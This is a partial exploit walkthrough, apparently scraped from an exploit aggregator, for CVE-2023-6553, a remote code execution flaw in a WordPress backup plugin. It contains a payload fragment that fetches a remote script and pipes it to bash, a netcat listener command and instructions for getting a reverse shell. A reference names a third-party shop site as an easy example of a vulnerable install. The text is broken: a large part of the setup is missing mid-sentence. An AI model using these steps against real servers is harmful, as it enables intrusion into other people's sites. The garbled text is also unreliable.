## https://sploitus.com/exploit?id=E4255C6C-135B-52C2-A15A-80F5F4A7EA47
# CVE-2023-6553
Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress
This is a critical CVE with a CVSS score of 9.8
The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin
Vulnerable Version
Backup :9000/a.sh |bash');?>"
```
3) You will get the following error
```
HTTP Response Body:
400 Bad Request
Bad Request
Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.
Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80
```
This is because the after the filter conversions that size of the header exceeds what the server allows.
4) So now we break our command into chunks, write that to a file on the remote server and then execute it, but before that we have to start listening to get a reverse shell
```
nc -nlvp 8080
```
and now run the command to exploit the vulnerable plugin
```
python3 final_exploit.py
```
5) You should have a reverse shell at this point
## References
- https://patchstack.com/articles/test-wordpress-plugin-security/
- https://patchstack.com/whitepaper/the-state-of-wordpress-security-in-2021/
- https://wordpress.org/plugins/backup-backup/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/backup-backup/backup-migration-137-unauthenticated-remote-code-execution
- https://plugins.trac.wordpress.org/browser/backup-backup/​
- https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py ​
- https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it ​
- How easy it is to check if vulnerable version of wordpress is present: https://www.thetraveloutlier.com/shop/​